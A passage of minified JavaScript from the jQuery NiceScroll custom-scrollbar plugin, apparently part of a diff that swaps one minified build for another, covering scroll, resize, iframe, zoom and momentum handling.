T.cancelEvent(e)}},M.enablekeyboard&&T.bind(l,P.isopera&&!P.isopera12?"keypress":"keydown",T.onkeypress),T.bind(l,"keydown",function(e){e.ctrlKey&&(T.wheelprevented=!0)}),T.bind(l,"keyup",function(e){e.ctrlKey||(T.wheelprevented=!1)}),T.bind(a,"blur",function(e){T.wheelprevented=!1}),T.bind(a,"resize",T.onscreenresize),T.bind(a,"orientationchange",T.onscreenresize),T.bind(a,"load",T.lazyResize),P.ischrome&&!T.ispage&&!T.haswrapper){var C=T.win.attr("style"),N=parseFloat(T.win.css("width"))+1;T.win.css("width",N),T.synched("chromefix",function(){T.win.attr("style",C)})}if(T.onAttributeChange=function(e){T.lazyResize(T.isieold?250:30)},M.enableobserver&&(T.isie11||!1===m||(T.observerbody=new m(function(e){if(e.forEach(function(e){if("attributes"==e.type)return E.hasClass("modal-open")&&E.hasClass("modal-dialog")&&!n.contains(n(".modal-dialog")[0],T.doc[0])?T.hide():T.show()}),T.me.clientWidth!=T.page.width||T.me.clientHeight!=T.page.height)return T.lazyResize(30)}),T.observerbody.observe(l.body,{childList:!0,subtree:!0,characterData:!1,attributes:!0,attributeFilter:["class"]})),!T.ispage&&!T.haswrapper)){var R=T.win[0];!1!==m?(T.observer=new m(function(e){e.forEach(T.onAttributeChange)}),T.observer.observe(R,{childList:!0,characterData:!1,attributes:!0,subtree:!1}),T.observerremover=new m(function(e){e.forEach(function(e){if(e.removedNodes.length>0)for(var o in e.removedNodes)if(T&&e.removedNodes[o]===R)return T.remove()})}),T.observerremover.observe(R.parentNode,{childList:!0,characterData:!1,attributes:!1,subtree:!1})):(T.bind(R,P.isie&&!P.isie9?"propertychange":"DOMAttrModified",T.onAttributeChange),P.isie9&&R.attachEvent("onpropertychange",T.onAttributeChange),T.bind(R,"DOMNodeRemoved",function(e){e.target===R&&T.remove()}))}!T.ispage&&M.boxzoom&&T.bind(a,"resize",T.resizeZoom),T.istextarea&&(T.bind(T.win,"keydown",T.lazyResize),T.bind(T.win,"mouseup",T.lazyResize)),T.lazyResize(30)}if("IFRAME"==this.doc[0].nodeName){var _=function(){var o;T.iframexd=!1;try{(o="contentDocument"in this?this.contentDocument:this.contentWindow._doc).domain}catch(e){T.iframexd=!0,o=!1}if(T.iframexd)return"console"in a&&console.log("NiceScroll error: policy restriced iframe"),!0;if(T.forcescreen=!0,T.isiframe&&(T.iframe={doc:n(o),html:T.doc.contents().find("html")[0],body:T.doc.contents().find("body")[0]},T.getContentSize=function(){return{w:Math.max(T.iframe.html.scrollWidth,T.iframe.body.scrollWidth),h:Math.max(T.iframe.html.scrollHeight,T.iframe.body.scrollHeight)}},T.docscroll=n(T.iframe.body)),!P.isios&&M.iframeautoresize&&!T.isiframe){T.win.scrollTop(0),T.doc.height("");var t=Math.max(o.getElementsByTagName("html")[0].scrollHeight,o.body.scrollHeight);T.doc.height(t)}T.lazyResize(30),T.css(n(T.iframe.body),e),P.isios&&T.haswrapper&&T.css(n(o.body),{"-webkit-transform":"translate3d(0,0,0)"}),"contentWindow"in this?T.bind(this.contentWindow,"scroll",T.onscroll):T.bind(o,"scroll",T.onscroll),M.enablemousewheel&&T.mousewheel(o,T.onmousewheel),M.enablekeyboard&&T.bind(o,P.isopera?"keypress":"keydown",T.onkeypress),P.cantouch?(T.bind(o,"touchstart",T.ontouchstart),T.bind(o,"touchmove",T.ontouchmove)):M.emulatetouch&&(T.bind(o,"mousedown",T.ontouchstart),T.bind(o,"mousemove",function(e){return T.ontouchmove(e,!0)}),M.grabcursorenabled&&P.cursorgrabvalue&&T.css(n(o.body),{cursor:P.cursorgrabvalue})),T.bind(o,"mouseup",T.ontouchend),T.zoom&&(M.dblclickzoom&&T.bind(o,"dblclick",T.doZoom),T.ongesturezoom&&T.bind(o,"gestureend",T.ongesturezoom))};this.doc[0].readyState&&"complete"===this.doc[0].readyState&&setTimeout(function(){_.call(T.doc[0],!1)},500),T.bind(this.doc,"load",_)}},this.showCursor=function(e,o){if(T.cursortimeout&&(clearTimeout(T.cursortimeout),T.cursortimeout=0),T.rail){if(T.autohidedom&&(T.autohidedom.stop().css({opacity:M.cursoropacitymax}),T.cursoractive=!0),T.rail.drag&&1==T.rail.drag.pt||(void 0!==e&&!1!==e&&(T.scroll.y=e/T.scrollratio.y|0),void 0!==o&&(T.scroll.x=o/T.scrollratio.x|0)),T.cursor.css({height:T.cursorheight,top:T.scroll.y}),T.cursorh){var t=T.hasreversehr?T.scrollvaluemaxw-T.scroll.x:T.scroll.x;T.cursorh.css({width:T.cursorwidth,left:!T.rail.align&&T.rail.visibility?t+T.rail.width:t}),T.cursoractive=!0}T.zoom&&T.zoom.stop().css({opacity:M.cursoropacitymax})}},this.hideCursor=function(e){T.cursortimeout||T.rail&&T.autohidedom&&(T.hasmousefocus&&"leave"===M.autohidemode||(T.cursortimeout=setTimeout(function(){T.rail.active&&T.showonmouseevent||(T.autohidedom.stop().animate({opacity:M.cursoropacitymin}),T.zoom&&T.zoom.stop().animate({opacity:M.cursoropacitymin}),T.cursoractive=!1),T.cursortimeout=0},e||M.hidecursordelay)))},this.noticeCursor=function(e,o,t){T.showCursor(o,t),T.rail.active||T.hideCursor(e)},this.getContentSize=T.ispage?function(){return{w:Math.max(l.body.scrollWidth,l.documentElement.scrollWidth),h:Math.max(l.body.scrollHeight,l.documentElement.scrollHeight)}}:T.haswrapper?function(){return{w:T.doc[0].offsetWidth,h:T.doc[0].offsetHeight}}:function(){return{w:T.docscroll[0].scrollWidth,h:T.docscroll[0].scrollHeight}},this.onResize=function(e,o){if(!T||!T.win)return!1;var t=T.page.maxh,r=T.page.maxw,i=T.view.h,s=T.view.w;if(T.view={w:T.ispage?T.win.width():T.win[0].clientWidth,h:T.ispage?T.win.height():T.win[0].clientHeight},T.page=o||T.getContentSize(),T.page.maxh=Math.max(0,T.page.h-T.view.h),T.page.maxw=Math.max(0,T.page.w-T.view.w),T.page.maxh==t&&T.page.maxw==r&&T.view.w==s&&T.view.h==i){if(T.ispage)return T;var n=T.win.offset();if(T.lastposition){var l=T.lastposition;if(l.top==n.top&&l.left==n.left)return T}T.lastposition=n}return 0===T.page.maxh?(T.hideRail(),T.scrollvaluemax=0,T.scroll.y=0,T.scrollratio.y=0,T.cursorheight=0,T.setScrollTop(0),T.rail&&(T.rail.scrollable=!1)):(T.page.maxh-=M.railpadding.top+M.railpadding.bottom,T.rail.scrollable=!0),0===T.page.maxw?(T.hideRailHr(),T.scrollvaluemaxw=0,T.scroll.x=0,T.scrollratio.x=0,T.cursorwidth=0,T.setScrollLeft(0),T.railh&&(T.railh.scrollable=!1)):(T.page.maxw-=M.railpadding.left+M.railpadding.right,T.railh&&(T.railh.scrollable=M.horizrailenabled)),T.railslocked=T.locked||0===T.page.maxh&&0===T.page.maxw,T.railslocked?(T.ispage||T.updateScrollBar(T.view),!1):(T.hidden||(T.rail.visibility||T.showRail(),T.railh&&!T.railh.visibility&&T.showRailHr()),T.istextarea&&T.win.css("resize")&&"none"!=T.win.css("resize")&&(T.view.h-=20),T.cursorheight=Math.min(T.view.h,Math.round(T.view.h*(T.view.h/T.page.h))),T.cursorheight=M.cursorfixedheight?M.cursorfixedheight:Math.max(M.cursorminheight,T.cursorheight),T.cursorwidth=Math.min(T.view.w,Math.round(T.view.w*(T.view.w/T.page.w))),T.cursorwidth=M.cursorfixedheight?M.cursorfixedheight:Math.max(M.cursorminheight,T.cursorwidth),T.scrollvaluemax=T.view.h-T.cursorheight-(M.railpadding.top+M.railpadding.bottom),T.hasborderbox||(T.scrollvaluemax-=T.cursor[0].offsetHeight-T.cursor[0].clientHeight),T.railh&&(T.railh.width=T.page.maxh>0?T.view.w-T.rail.width:T.view.w,T.scrollvaluemaxw=T.railh.width-T.cursorwidth-(M.railpadding.left+M.railpadding.right)),T.ispage||T.updateScrollBar(T.view),T.scrollratio={x:T.page.maxw/T.scrollvaluemaxw,y:T.page.maxh/T.scrollvaluemax},T.getScrollTop()>T.page.maxh?T.doScrollTop(T.page.maxh):(T.scroll.y=T.getScrollTop()/T.scrollratio.y|0,T.scroll.x=T.getScrollLeft()/T.scrollratio.x|0,T.cursoractive&&T.noticeCursor()),T.scroll.y&&0===T.getScrollTop()&&T.doScrollTo(T.scroll.y*T.scrollratio.y|0),T)},this.resize=T.onResize;var O=0;this.onscreenresize=function(e){clearTimeout(O);var o=!T.ispage&&!T.haswrapper;o&&T.hideRails(),O=setTimeout(function(){T&&(o&&T.showRails(),T.resize()),O=0},120)},this.lazyResize=function(e){return clearTimeout(O),e=isNaN(e)?240:e,O=setTimeout(function(){T&&T.resize(),O=0},e),T},this.jqbind=function(e,o,t){T.events.push({e:e,n:o,f:t,q:!0}),n(e).on(o,t)},this.mousewheel=function(e,o,t){var r="jquery"in e?e[0]:e;if("onwheel"in l.createElement("div"))T._bind(r,"wheel",o,t||!1);else{var i=void 0!==l.onmousewheel?"mousewheel":"DOMMouseScroll";S(r,i,o,t||!1),"DOMMouseScroll"==i&&S(r,"MozMousePixelScroll",o,t||!1)}};var Y=!1;if(P.haseventlistener){try{var H=Object.defineProperty({},"passive",{get:function(){Y=!0}});a.addEventListener("test",null,H)}catch(e){}this.stopPropagation=function(e){return!!e&&((e=e.original?e.original:e).stopPropagation(),!1)},this.cancelEvent=function(e){return e.cancelable&&e.preventDefault(),e.stopImmediatePropagation(),e.preventManipulation&&e.preventManipulation(),!1}}else Event.prototype.preventDefault=function(){this.returnValue=!1},Event.prototype.stopPropagation=function(){this.cancelBubble=!0},a.constructor.prototype.addEventListener=l.constructor.prototype.addEventListener=Element.prototype.addEventListener=function(e,o,t){this.attachEvent("on"+e,o)},a.constructor.prototype.removeEventListener=l.constructor.prototype.removeEventListener=Element.prototype.removeEventListener=function(e,o,t){this.detachEvent("on"+e,o)},this.cancelEvent=function(e){return(e=e||a.event)&&(e.cancelBubble=!0,e.cancel=!0,e.returnValue=!1),!1},this.stopPropagation=function(e){return(e=e||a.event)&&(e.cancelBubble=!0),!1};this.delegate=function(e,o,t,r,i){var s=d[o]||!1;s||(s={a:[],l:[],f:function(e){for(var o=s.l,t=!1,r=o.length-1;r>=0;r--)if(!1===(t=o[r].call(e.target,e)))return!1;return t}},T.bind(e,o,s.f,r,i),d[o]=s),T.ispage?(s.a=[T.id].concat(s.a),s.l=[t].concat(s.l)):(s.a.push(T.id),s.l.push(t))},this.undelegate=function(e,o,t,r,i){var s=d[o]||!1;if(s&&s.l)for(var n=0,l=s.l.length;n0)return t;o=!!o.parentNode&&o.parentNode}return!1},this.triggerScrollStart=function(e,o,t,r,i){if(T.onscrollstart){var s={type:"scrollstart",current:{x:e,y:o},request:{x:t,y:r},end:{x:T.newscrollx,y:T.newscrolly},speed:i};T.onscrollstart.call(T,s)}},this.triggerScrollEnd=function(){if(T.onscrollend){var e=T.getScrollLeft(),o=T.getScrollTop(),t={type:"scrollend",current:{x:e,y:o},end:{x:e,y:o}};T.onscrollend.call(T,t)}};var X=0,B=0,D=0,A=1,q=!1;if(this.onmousewheel=function(e){if(T.wheelprevented||T.locked)return!1;if(T.railslocked)return T.debounced("checkunlock",T.resize,250),!1;if(T.rail.drag)return T.cancelEvent(e);if("auto"===M.oneaxismousemode&&0!==e.deltaX&&(M.oneaxismousemode=!1),M.oneaxismousemode&&0===e.deltaX&&!T.rail.scrollable)return!T.railh||!T.railh.scrollable||T.onmousewheelhr(e);var o=f(),t=!1;if(M.preservenativescrolling&&T.checkarea+600T.page.maxh&&(o=T.page.maxh+(o-T.page.maxh)/2|0),e<0?e=e/2|0:e>T.page.maxw&&(e=T.page.maxw+(e-T.page.maxw)/2|0)):(o<0?o=0:o>T.page.maxh&&(o=T.page.maxh),e<0?e=0:e>T.page.maxw&&(e=T.page.maxw)),T.scrollrunning&&e==T.newscrollx&&o==T.newscrolly)return!1;T.newscrolly=o,T.newscrollx=e;var s=T.getScrollTop(),n=T.getScrollLeft(),l={};l.x=e-n,l.y=o-s;var a=0|Math.sqrt(l.x*l.x+l.y*l.y),c=T.prepareTransition(a);T.scrollrunning||(T.scrollrunning=!0,T.triggerScrollStart(n,s,e,o,c),T.cursorupdate.start()),T.scrollendtrapped=!0,P.transitionend||(T.scrollendtrapped&&clearTimeout(T.scrollendtrapped),T.scrollendtrapped=setTimeout(T.onScrollTransitionEnd,c)),T.setScrollTop(T.newscrolly),T.setScrollLeft(T.newscrollx)},this.cancelScroll=function(){if(!T.scrollendtrapped)return!0;var e=T.getScrollTop(),o=T.getScrollLeft();return T.scrollrunning=!1,P.transitionend||clearTimeout(P.transitionend),T.scrollendtrapped=!1,T.resetTransition(),T.setScrollTop(e),T.railh&&T.setScrollLeft(o),T.timerscroll&&T.timerscroll.tm&&clearInterval(T.timerscroll.tm),T.timerscroll=!1,T.cursorfreezed=!1,T.cursorupdate.stop(),T.showCursor(e,o),T},this.onScrollTransitionEnd=function(){if(T.scrollendtrapped){var e=T.getScrollTop(),o=T.getScrollLeft();if(e<0?e=0:e>T.page.maxh&&(e=T.page.maxh),o<0?o=0:o>T.page.maxw&&(o=T.page.maxw),e!=T.newscrolly||o!=T.newscrollx)return T.doScrollPos(o,e,M.snapbackspeed);T.scrollrunning&&T.triggerScrollEnd(),T.scrollrunning=!1,T.scrollendtrapped=!1,T.resetTransition(),T.timerscroll=!1,T.setScrollTop(e),T.railh&&T.setScrollLeft(o),T.cursorupdate.stop(),T.noticeCursor(!1,e,o),T.cursorfreezed=!1}}}else this.doScrollLeft=function(e,o){var t=T.scrollrunning?T.newscrolly:T.getScrollTop();T.doScrollPos(e,t,o)},this.doScrollTop=function(e,o){var t=T.scrollrunning?T.newscrollx:T.getScrollLeft();T.doScrollPos(t,e,o)},this.doScrollPos=function(e,o,t){var r=T.getScrollTop(),i=T.getScrollLeft();((T.newscrolly-r)*(o-r)<0||(T.newscrollx-i)*(e-i)<0)&&T.cancelScroll();var s=!1;if(T.bouncescroll&&T.rail.visibility||(o<0?(o=0,s=!0):o>T.page.maxh&&(o=T.page.maxh,s=!0)),T.bouncescroll&&T.railh.visibility||(e<0?(e=0,s=!0):e>T.page.maxw&&(e=T.page.maxw,s=!0)),T.scrollrunning&&T.newscrolly===o&&T.newscrollx===e)return!0;T.newscrolly=o,T.newscrollx=e,T.dst={},T.dst.x=e-i,T.dst.y=o-r,T.dst.px=i,T.dst.py=r;var n=0|Math.sqrt(T.dst.x*T.dst.x+T.dst.y*T.dst.y),l=T.getTransitionSpeed(n);T.bzscroll={};var a=s?1:.58;T.bzscroll.x=new R(i,T.newscrollx,l,0,0,a,1),T.bzscroll.y=new R(r,T.newscrolly,l,0,0,a,1),f();var c=function(){if(T.scrollrunning){var e=T.bzscroll.y.getPos();T.setScrollLeft(T.bzscroll.x.getNow()),T.setScrollTop(T.bzscroll.y.getNow()),e<=1?T.timer=u(c):(T.scrollrunning=!1,T.timer=0,T.triggerScrollEnd())}};T.scrollrunning||(T.triggerScrollStart(i,r,e,o,l),T.scrollrunning=!0,T.timer=u(c))},this.cancelScroll=function(){return T.timer&&h(T.timer),T.timer=0,T.bzscroll=!1,T.scrollrunning=!1,T};else this.doScrollLeft=function(e,o){var t=T.getScrollTop();T.doScrollPos(e,t,o)},this.doScrollTop=function(e,o){var t=T.getScrollLeft();T.doScrollPos(t,e,o)},this.doScrollPos=function(e,o,t){var r=e>T.page.maxw?T.page.maxw:e;r<0&&(r=0);var i=o>T.page.maxh?T.page.maxh:o;i<0&&(i=0),T.synched("scroll",function(){T.setScrollTop(i),T.setScrollLeft(r)})},this.cancelScroll=function(){};this.doScrollBy=function(e,o){z(0,e)},this.doScrollLeftBy=function(e,o){z(e,0)},this.doScrollTo=function(e,o){var t=o?Math.round(e*T.scrollratio.y):e;t<0?t=0:t>T.page.maxh&&(t=T.page.maxh),T.cursorfreezed=!1,T.doScrollTop(e)},this.checkContentSize=function(){var e=T.getContentSize();e.h==T.page.h&&e.w==T.page.w||T.resize(!1,e)},T.onscroll=function(e){T.rail.drag||T.cursorfreezed||T.synched("scroll",function(){T.scroll.y=Math.round(T.getScrollTop()/T.scrollratio.y),T.railh&&(T.scroll.x=Math.round(T.getScrollLeft()/T.scrollratio.x)),T.noticeCursor()})},T.bind(T.docscroll,"scroll",T.onscroll),this.doZoomIn=function(e){if(!T.zoomactive){T.zoomactive=!0,T.zoomrestore={style:{}};var o=["position","top","left","zIndex","backgroundColor","marginTop","marginBottom","marginLeft","marginRight"],t=T.win[0].style;for(var r in o){var i=o[r];T.zoomrestore.style[i]=void 0!==t[i]?t[i]:""}T.zoomrestore.style.width=T.win.css("width"),T.zoomrestore.style.height=T.win.css("height"),T.zoomrestore.padding={w:T.win.outerWidth()-T.win.width(),h:T.win.outerHeight()-T.win.height()},P.isios4&&(T.zoomrestore.scrollTop=c.scrollTop(),c.scrollTop(0)),T.win.css({position:P.isios4?"absolute":"fixed",top:0,left:0,zIndex:s+100,margin:0});var n=T.win.css("backgroundColor");return(""===n||/transparent|rgba\(0, 0, 0, 0\)|rgba\(0,0,0,0\)/.test(n))&&T.win.css("backgroundColor","#fff"),T.rail.css({zIndex:s+101}),T.zoom.css({zIndex:s+102}),T.zoom.css("backgroundPosition","0 -18px"),T.resizeZoom(),T.onzoomin&&T.onzoomin.call(T),T.cancelEvent(e)}},this.doZoomOut=function(e){if(T.zoomactive)return T.zoomactive=!1,T.win.css("margin",""),T.win.css(T.zoomrestore.style),P.isios4&&c.scrollTop(T.zoomrestore.scrollTop),T.rail.css({"z-index":T.zindex}),T.zoom.css({"z-index":T.zindex}),T.zoomrestore=!1,T.zoom.css("backgroundPosition","0 0"),T.onResize(),T.onzoomout&&T.onzoomout.call(T),T.cancelEvent(e)},this.doZoom=function(e){return T.zoomactive?T.doZoomOut(e):T.doZoomIn(e)},this.resizeZoom=function(){if(T.zoomactive){var e=T.getScrollTop();T.win.css({width:c.width()-T.zoomrestore.padding.w+"px",height:c.height()-T.zoomrestore.padding.h+"px"}),T.onResize(),T.setScrollTop(Math.min(T.page.maxh,e))}},this.init(),n.nicescroll.push(this)},y=function(e){var o=this;this.nc=e,this.lastx=0,this.lasty=0,this.speedx=0,this.speedy=0,this.lasttime=0,this.steptime=0,this.snapx=!1,this.snapy=!1,this.demulx=0,this.demuly=0,this.lastscrollx=-1,this.lastscrolly=-1,this.chkx=0,this.chky=0,this.timer=0,this.reset=function(e,t){o.stop(),o.steptime=0,o.lasttime=f(),o.speedx=0,o.speedy=0,o.lastx=e,o.lasty=t,o.lastscrollx=-1,o.lastscrolly=-1},this.update=function(e,t){var r=f();o.steptime=r-o.lasttime,o.lasttime=r;var i=t-o.lasty,s=e-o.lastx,n=o.nc.getScrollTop()+i,l=o.nc.getScrollLeft()+s;o.snapx=l<0||l>o.nc.page.maxw,o.snapy=n<0||n>o.nc.page.maxh,o.speedx=s,o.speedy=i,o.lastx=e,o.lasty=t},this.stop=function(){o.nc.unsynched("domomentum2d"),o.timer&&clearTimeout(o.timer),o.timer=0,o.lastscrollx=-1,o.lastscrolly=-1},this.doSnapy=function(e,t){var r=!1;t<0?(t=0,r=!0):t>o.nc.page.maxh&&(t=o.nc.page.maxh,r=!0),e<0?(e=0,r=!0):e>o.nc.page.maxw&&(e=o.nc.page.maxw,r=!0),r?o.nc.doScrollPos(e,t,o.nc.opt.snapbackspeed):o.nc.triggerScrollEnd()},this.doMomentum=function(e){var t=f(),r=e?t+e:o.lasttime,i=o.nc.getScrollLeft(),s=o.nc.getScrollTop(),n=o.nc.page.maxh,l=o.nc.page.maxw;o.speedx=l>0?Math.min(60,o.speedx):0,o.speedy=n>0?Math.min(60,o.speedy):0;var a=r&&t-r<=60;(s<0||s>n||i<0||i>l)&&(a=!1);var c=!(!o.speedy||!a)&&o.speedy,d=!(!o.speedx||!a)&&o.speedx;if(c||d){var u=Math.max(16,o.steptime);if(u>50){var h=u/50;o.speedx*=h,o.speedy*=h,u=50}o.demulxy=0,o.lastscrollx=o.nc.getScrollLeft(),o.chkx=o.lastscrollx,o.lastscrolly=o.nc.getScrollTop(),o.chky=o.lastscrolly;var p=o.lastscrollx,m=o.lastscrolly,g=function(){var e=f()-t>600?.04:.02;o.speedx&&(p=Math.floor(o.lastscrollx-o.speedx*(1-o.demulxy)),o.lastscrollx=p,(p<0||p>l)&&(e=.1)),o.speedy&&(m=Math.floor(o.lastscrolly-o.speedy*(1-o.demulxy)),o.lastscrolly=m,(m<0||m>n)&&(e=.1)),o.demulxy=Math.min(1,o.demulxy+e),o.nc.synched("domomentum2d",function(){o.speedx&&(o.nc.getScrollLeft(),o.chkx=p,o.nc.setScrollLeft(p)),o.speedy&&(o.nc.getScrollTop(),o.chky=m,o.nc.setScrollTop(m)),o.timer||(o.nc.hideCursor(),o.doSnapy(p,m))}),o.demulxy<1?o.timer=setTimeout(g,u):(o.stop(),o.nc.hideCursor(),o.doSnapy(p,m))};g()}else o.doSnapy(o.nc.getScrollLeft(),o.nc.getScrollTop())}},x=e.fn.scrollTop;e.cssHooks.pageYOffset={get:function(e,o,t){var r=n.data(e,"__nicescroll")||!1;return r&&r.ishwscroll?r.getScrollTop():x.call(e)},set:function(e,o){var t=n.data(e,"__nicescroll")||!1;return t&&t.ishwscroll?t.setScrollTop(parseInt(o)):x.call(e,o),this}},e.fn.scrollTop=function(e){if(void 0===e){var o=!!this[0]&&(n.data(this[0],"__nicescroll")||!1);return o&&o.ishwscroll?o.getScrollTop():x.call(this)}return this.each(function(){var o=n.data(this,"__nicescroll")||!1;o&&o.ishwscroll?o.setScrollTop(parseInt(e)):x.call(n(this),e)})};var S=e.fn.scrollLeft;n.cssHooks.pageXOffset={get:function(e,o,t){var r=n.data(e,"__nicescroll")||!1;return r&&r.ishwscroll?r.getScrollLeft():S.call(e)},set:function(e,o){var t=n.data(e,"__nicescroll")||!1;return t&&t.ishwscroll?t.setScrollLeft(parseInt(o)):S.call(e,o),this}},e.fn.scrollLeft=function(e){if(void 0===e){var o=!!this[0]&&(n.data(this[0],"__nicescroll")||!1);return o&&o.ishwscroll?o.getScrollLeft():S.call(this)}return this.each(function(){var o=n.data(this,"__nicescroll")||!1;o&&o.ishwscroll?o.setScrollLeft(parseInt(e)):S.call(n(this),e)})};var z=function(e){var o=this;if(this.length=0,this.name="nicescrollarray",this.each=function(e){return n.each(o,e),o},this.push=function(e){o[o.length]=e,o.length++},this.eq=function(e){return o[e]},e)for(var t=0;t1?n(e,r):s,i.win=r}!("doc"in i)||"win"in i||(i.win=r);var l=r.data("__nicescroll")||!1;l||(i.doc=i.doc||r,l=new b(i,r),r.data("__nicescroll",l)),t.push(l)}),1===t.length?t[0]:t},a.NiceScroll={getjQuery:function(){return e}},n.nicescroll||(n.nicescroll=new z,n.nicescroll.options=g)}); \ No newline at end of file +(function(a){if(typeof define==="function"&&define.amd){define(["jquery"],a)}else{if(typeof exports==="object"){module.exports=a(require("jquery"))}else{a(jQuery)}}}(function(q){var h=false,o=false,m=0,s=2000,f=0;var g=q,c=document,n=window,t=g(n);var x=[];function y(){var B=c.currentScript||(function(){var D=c.getElementsByTagName("script");return(D.length)?D[D.length-1]:false})();var C=B?B.src.split("?")[0]:"";return(C.split("/").length>0)?C.split("/").slice(0,-1).join("/")+"/":""}var i=n.requestAnimationFrame||n.webkitRequestAnimationFrame||n.mozRequestAnimationFrame||false;var l=n.cancelAnimationFrame||n.webkitCancelAnimationFrame||n.mozCancelAnimationFrame||false;if(!i){var z=0;i=function(F,C){var B=new Date().getTime();var D=Math.max(0,16-(B-z));var E=n.setTimeout(function(){F(B+D)},D);z=B+D;return E};l=function(B){n.clearTimeout(B)}}else{if(!n.cancelAnimationFrame){l=function(B){}}}var b=n.MutationObserver||n.WebKitMutationObserver||false;var a=Date.now||function(){return new Date().getTime()};var e={zindex:"auto",cursoropacitymin:0,cursoropacitymax:1,cursorcolor:"#424242",cursorwidth:"6px",cursorborder:"1px solid #fff",cursorborderradius:"5px",scrollspeed:40,mousescrollstep:9*3,touchbehavior:false,emulatetouch:false,hwacceleration:true,usetransition:true,boxzoom:false,dblclickzoom:true,gesturezoom:true,grabcursorenabled:true,autohidemode:true,background:"",iframeautoresize:true,cursorminheight:32,preservenativescrolling:true,railoffset:false,railhoffset:false,bouncescroll:true,spacebarenabled:true,railpadding:{top:0,right:0,left:0,bottom:0},disableoutline:true,horizrailenabled:true,railalign:"right",railvalign:"bottom",enabletranslate3d:true,enablemousewheel:true,enablekeyboard:true,smoothscroll:true,sensitiverail:true,enablemouselockapi:true,cursorfixedheight:false,directionlockdeadzone:6,hidecursordelay:400,nativeparentscrolling:true,enablescrollonselection:true,overflowx:true,overflowy:true,cursordragspeed:0.3,rtlmode:"auto",cursordragontouch:false,oneaxismousemode:"auto",scriptpath:y(),preventmultitouchscrolling:true,disablemutationobserver:false,enableobserver:true,scrollbarid:false,scrollCLass:false};var k=false;var w=function(){if(k){return k}var G=c.createElement("DIV"),C=G.style,B=navigator.userAgent,D=navigator.platform,E={};E.haspointerlock="pointerLockElement" in c||"webkitPointerLockElement" in c||"mozPointerLockElement" in c;E.isopera=("opera" in n);E.isopera12=(E.isopera&&("getUserMedia" in navigator));E.isoperamini=(Object.prototype.toString.call(n.operamini)==="[object OperaMini]");E.isie=(("all" in c)&&("attachEvent" in G)&&!E.isopera);E.isieold=(E.isie&&!("msInterpolationMode" in C));E.isie7=E.isie&&!E.isieold&&(!("documentMode" in c)||(c.documentMode===7));E.isie8=E.isie&&("documentMode" in c)&&(c.documentMode===8);E.isie9=E.isie&&("performance" in n)&&(c.documentMode===9);E.isie10=E.isie&&("performance" in n)&&(c.documentMode===10);E.isie11=("msRequestFullscreen" in G)&&(c.documentMode>=11);E.ismsedge=("msCredentials" in n);E.ismozilla=("MozAppearance" in C);E.iswebkit=!E.ismsedge&&("WebkitAppearance" in C);E.ischrome=E.iswebkit&&("chrome" in n);E.ischrome38=(E.ischrome&&("touchAction" in C));E.ischrome22=(!E.ischrome38)&&(E.ischrome&&E.haspointerlock);E.ischrome26=(!E.ischrome38)&&(E.ischrome&&("transition" in C));E.cantouch=("ontouchstart" in c.documentElement)||("ontouchstart" in n);E.hasw3ctouch=(n.PointerEvent||false)&&((navigator.maxTouchPoints>0)||(navigator.msMaxTouchPoints>0));E.hasmstouch=(!E.hasw3ctouch)&&(n.MSPointerEvent||false);E.ismac=/^mac$/i.test(D);E.isios=E.cantouch&&/iphone|ipad|ipod/i.test(D);E.isios4=E.isios&&!("seal" in Object);E.isios7=E.isios&&("webkitHidden" in c);E.isios8=E.isios&&("hidden" in c);E.isios10=E.isios&&n.Proxy;E.isandroid=(/android/i.test(B));E.haseventlistener=("addEventListener" in G);E.trstyle=false;E.hastransform=false;E.hastranslate3d=false;E.transitionstyle=false;E.hastransition=false;E.transitionend=false;E.trstyle="transform";E.hastransform=("transform" in C)||(function(){var I=["msTransform","webkitTransform","MozTransform","OTransform"];for(var H=0,J=I.length;H=1)?this.ed:this.st+(this.df*ae)|0},update:function(ad,ae){this.st=this.getNow();this.ed=ad;this.spd=ae;this.ts=a();this.df=this.ed-this.st;return this}};function L(){var ad=S.doc.css(M.trstyle);if(ad&&(ad.substr(0,6)=="matrix")){return ad.replace(/^.*\((.*)\)$/g,"$1").replace(/px/g,"").split(/, +/)}return false}if(this.ishwscroll){this.doc.translate={x:0,y:0,tx:"0px",ty:"0px"};if(M.hastranslate3d&&M.isios){this.doc.css("-webkit-backface-visibility","hidden")}this.getScrollTop=function(ae){if(!ae){var ad=L(); +if(ad){return(ad.length==16)?-ad[13]:-ad[5]}if(S.timerscroll&&S.timerscroll.bz){return S.timerscroll.bz.getNow()}}return S.doc.translate.y};this.getScrollLeft=function(ae){if(!ae){var ad=L();if(ad){return(ad.length==16)?-ad[12]:-ad[4]}if(S.timerscroll&&S.timerscroll.bh){return S.timerscroll.bh.getNow()}}return S.doc.translate.x};this.notifyScrollEvent=function(ad){var ae=c.createEvent("UIEvents");ae.initUIEvent("scroll",false,false,n,1);ae.niceevent=true;ad.dispatchEvent(ae)};var O=(this.isrtlmode)?1:-1;if(M.hastranslate3d&&D.enabletranslate3d){this.setScrollTop=function(ae,ad){S.doc.translate.y=ae;S.doc.translate.ty=(ae*-1)+"px";S.doc.css(M.trstyle,"translate3d("+S.doc.translate.tx+","+S.doc.translate.ty+",0)");if(!ad){S.notifyScrollEvent(S.win[0])}};this.setScrollLeft=function(ae,ad){S.doc.translate.x=ae;S.doc.translate.tx=(ae*O)+"px";S.doc.css(M.trstyle,"translate3d("+S.doc.translate.tx+","+S.doc.translate.ty+",0)");if(!ad){S.notifyScrollEvent(S.win[0])}}}else{this.setScrollTop=function(ae,ad){S.doc.translate.y=ae;S.doc.translate.ty=(ae*-1)+"px";S.doc.css(M.trstyle,"translate("+S.doc.translate.tx+","+S.doc.translate.ty+")");if(!ad){S.notifyScrollEvent(S.win[0])}};this.setScrollLeft=function(ae,ad){S.doc.translate.x=ae;S.doc.translate.tx=(ae*O)+"px";S.doc.css(M.trstyle,"translate("+S.doc.translate.tx+","+S.doc.translate.ty+")");if(!ad){S.notifyScrollEvent(S.win[0])}}}}else{this.getScrollTop=function(){return S.docscroll.scrollTop()};this.setScrollTop=function(ad){S.docscroll.scrollTop(ad)};this.getScrollLeft=function(){var ad;if(!S.hasreversehr){ad=S.docscroll.scrollLeft()}else{if(S.detected.ismozilla){ad=S.page.maxw-Math.abs(S.docscroll.scrollLeft())}else{ad=S.page.maxw-S.docscroll.scrollLeft()}}return ad};this.setScrollLeft=function(ad){return setTimeout(function(){if(!S){return}if(S.hasreversehr){if(S.detected.ismozilla){ad=-(S.page.maxw-ad)}else{ad=S.page.maxw-ad}}return S.docscroll.scrollLeft(ad)},1)}}this.getTarget=function(ad){if(!ad){return false}if(ad.target){return 